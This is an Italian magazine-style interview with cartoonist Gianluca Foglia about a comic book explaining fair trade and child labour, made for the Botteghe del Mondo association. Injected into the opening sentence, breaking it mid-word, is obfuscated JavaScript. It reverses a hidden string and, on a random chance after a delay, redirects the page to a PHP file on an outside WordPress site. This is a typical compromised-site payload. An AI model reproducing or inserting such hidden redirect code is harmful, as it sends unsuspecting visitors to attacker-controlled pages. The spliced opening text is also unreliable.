Il viaggio di Nelson

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Per tutti coloro a cui gli argomenti impegnati proprio non vanno giù, per quelli che qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando si entra in un discorso serio iniziano a sbadigliare (un po’ come i bambini) ecco la ricetta giusta: una storia a fumetti che spiega cos’è il commercio equo.
è il progetto lanciato dall’Associazione Botteghe del Mondo in occasione di Tuttaunaltracosa, l’undicesima edizione della Fiera nazionale del commercio equo e solidale che si è svolta a Parma all’inizio di giugno. Un’idea che culminerà in autunno, quando nelle botteghe del commercio equo e solidale potremo tutti acquistare “La notte di San Nessuno”, libro a fumetti che racconta la storia di un ragazzino alle prese con la scomparsa di oggetti di uso quotidiano prodotti sfruttando il lavoro minorile.
L’autore è Gianluca Foglia detto “Fogliazza”, fumettaro (così preferisce definirsi) parmigiano che vive a Casalmaggiore, paese in provincia di Cremona. Ama disegnare, roba impegnata però; fumetti per l’appunto. Se ti provi a dirgli la parola manga ti mangia (scusate il gioco di parole). Ma non è un orco cattivo, anzi…Tanto è simpatico che l’abbiamo voluto intervistare.
Gianluca, cos’hai pensato quando ti hanno proposto questo progetto?
Che dovevano essere pazzi! Ragion per cui ero già in sella a dire: quando si parte? Uno viene da te e ti dice che sei un fumettista impegnato (che in Italia è un fatto come una malattia, una cosa rara, roba da museo) e che ha bisogno di una storia che parla del commercio equo e dello sfruttamento del lavoro minorile… Resto muto, capisco che parla proprio con me e mi rendo conto che al fumetto, quello mio e quello italiano che se ne infischia proprio, quando gli ricapita una fortuna simile?
Quindi non sei un consumatore critico? Che rapporto hai con il commercio equo?
Del commercio equo sapevo che esiste… Immagino non sia sufficiente. Certo che mi ci vuol poco a sensibilizzarmi. è bastato che mi si parlasse di caffè iniquo perché rovistassi in me fino a “commettere” una di quelle scelte non istigate dalla tivù. Una sciocchezza per un essere umano ma un passo da gigante per uno minacciato dai consigli di Pippo Baudo.
Lavorare su questi temi ti ha fatto conoscere meglio il commercio equo e il suo mondo?
Il grande vantaggio nel fumetto è che non inventi nulla se non le dosi degli ingredienti, ma devi documentarti. Il commercio equo e solidale mi sembra necessario, ma ha bisogno di comunicazione. Ad oggi troppo spesso quello che vedo relegato sugli scaffali suscita spesso battute tipo: “che carino, la cioccolata di quegli sfigati del terzo mondo, la prendiamo?”, così per sciacquare la coscienza, ma fino alla cassiera e non oltre.
Ci pare di capire che parlare di temi impegnati attraverso la satira o il fumetto in Italia non va molto di moda…
Il fumetto in Italia ha la fama che si merita, roba di svago, per ridere. Prima di tutto la colpa è degli autori se non mettono a disposizione il loro talento per i temi importanti. Poi ci sono gli editori che non hanno il coraggio di investire.
Pensi che il fumetto sia un buon mezzo per sensibilizzare su temi del genere? Oppure credi che le tematiche impegnate inibiscano comunque le nuove generazioni?
Certo che le nuove generazioni sono inibite! è colpa del benessere che ti fa dimenticare il sacrificio occorso per conquistarlo. Si può raccontare tutto quello che vuoi ma lo devi raccontare come lo vogliono i lettori. Se Beppe Grillo non facesse battute non se lo filerebbe nessuno!
Come hai scelto i nomi dei protagonisti della storia?
Non si inventa nulla: Nelson è mio fratello, che ha 12 anni, terrorizzato all’idea di somigliare al protagonista del fumetto! Rafiki, che in swahili significa amico, è il griot, il cantastorie. Palomo è il curandero dell’Amazzonia e Chandra la luna indiana. Quali compagni di viaggio migliori per Nelson se non espressioni della cultura locale?
Per disegnare sei costretto a utilizzare strumenti prodotti da qualche multinazionale “irresponsabile”?
Spero proprio di no. Mi cogli un po’ impreparato, devo indagare. In fondo uno dovrebbe sempre farsi queste domande: per chi lavora, cosa fa e da chi prende i soldi. Ora sarà bene domandarsi anche chi sto finanziando. Ma guardo a monte: faccio fumetto impegnato in Italia, se non è irresponsabile questo…
Il sito di Gianluca Foglia: www.fogliazza.net

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